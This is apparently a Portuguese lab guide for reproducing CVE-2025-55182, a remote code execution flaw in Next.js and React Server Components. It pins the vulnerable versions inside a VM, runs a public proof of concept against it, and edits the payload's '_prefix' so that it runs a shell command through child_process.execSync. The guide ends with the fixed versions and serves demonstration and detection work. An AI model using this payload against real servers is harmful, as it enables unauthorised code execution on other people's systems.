Laboratório de Demonstração CVE-2025-55182 (Next.js / React RSC RCE)

Este documento fornece uma configuração completa e reproduzível para demonstrar a Execução Remota de Código (RCE) CVE-2025-55182 contra um ambiente vulnerável Next.js + React Server Components executado dentro de uma VM Ubuntu Multipass.

O exploit é executado de fora da VM, provando a explorabilidade remota e preparando o ambiente para detecção de comportamento anômalo.

Source: https://github.com/ejpir/CVE-2025-55182-research

---

1. Criar e Preparar a VM Ubuntu

2. Configuração Básica Dentro da VM

2.1 Atualizar o sistema e instalar dependências

sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential

2.2 Instalar Node.js LTS (20.x)

curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs

Verificar:

node -v
npm -v

2.3 Criar um usuário dedicado para o aplicativo

sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab

---

3. Implantar o Aplicativo Next.js Vulnerável

3.1 Criar diretório de trabalho

mkdir ~/react2shell-lab
cd ~/react2shell-lab

3.2 Gerar um projeto Next.js App Router básico

npx create-next-app@latest vulnerable-app
cd vulnerable-app

3.3 Fixar versões vulneráveis no package.json

Editar dependências:

"dependencies": {
  "next": "16.0.0",
  "react": "19.1.0",
  "react-dom": "19.1.0"
}

Reinstalar pacotes:

rm -rf node_modules package-lock.json
npm install

Verificar:

npm list react react-dom next

Esperado:

[email protected]
[email protected]
[email protected]

3.4 Compilar e executar em modo de produção

npm run build
npm start

Saída esperada:

▲ Next.js 16.0.0
Local:   http://localhost:3000
Network: http://10.X.X.X:3000

---

4. Confirmar Acessibilidade Externa (Máquina Atacante → VM)

Em outra máquina:

curl http://10.102.169.126:3000

Você deve receber a página HTML padrão do Next.js.

---

5. Clonar e Testar o PoC na Máquina Atacante

5.1 Clonar repositório

cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research

5.2 Apontar PoC para o IP do servidor

Encontrar:

hostname: 'localhost',

Substituir por:

hostname: '10.X.X.X',

5.3 Executar PoC de base (console.log RCE simples)

Com o Next ainda em execução:

node test-simple.cjs

Esperado no terminal do Next.js:

NON-CHUNKED-RCE

Isso confirma a execução remota de código via React Flight usando as versões vulneráveis.

---

6. Modificar o PoC para Realizar um Efeito Colateral Visível (Criação de Arquivo)

O objetivo é gerar comportamento observável (sistema de arquivos + execução de processo).

6.1 Editar _prefix dentro de test-simple.cjs

Localizar:

"_prefix": "console.log('NON-CHUNKED-RCE');//"

Substituir por:

"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"

Nota: require não está disponível no contexto de execução, mas process.mainModule.require() está.

6.2 Testar exploit modificado

Certifique-se de que o Next está em execução, então:

node test-simple.cjs

Verificar criação de arquivo:

ls -l /tmp/

Você deve ver:

cve-2025-55182-syscall

Isso confirma RCE funcional com efeitos colaterais.

---

Correção:
React ≥ 19.2.1
Next.js ≥ 16.0.7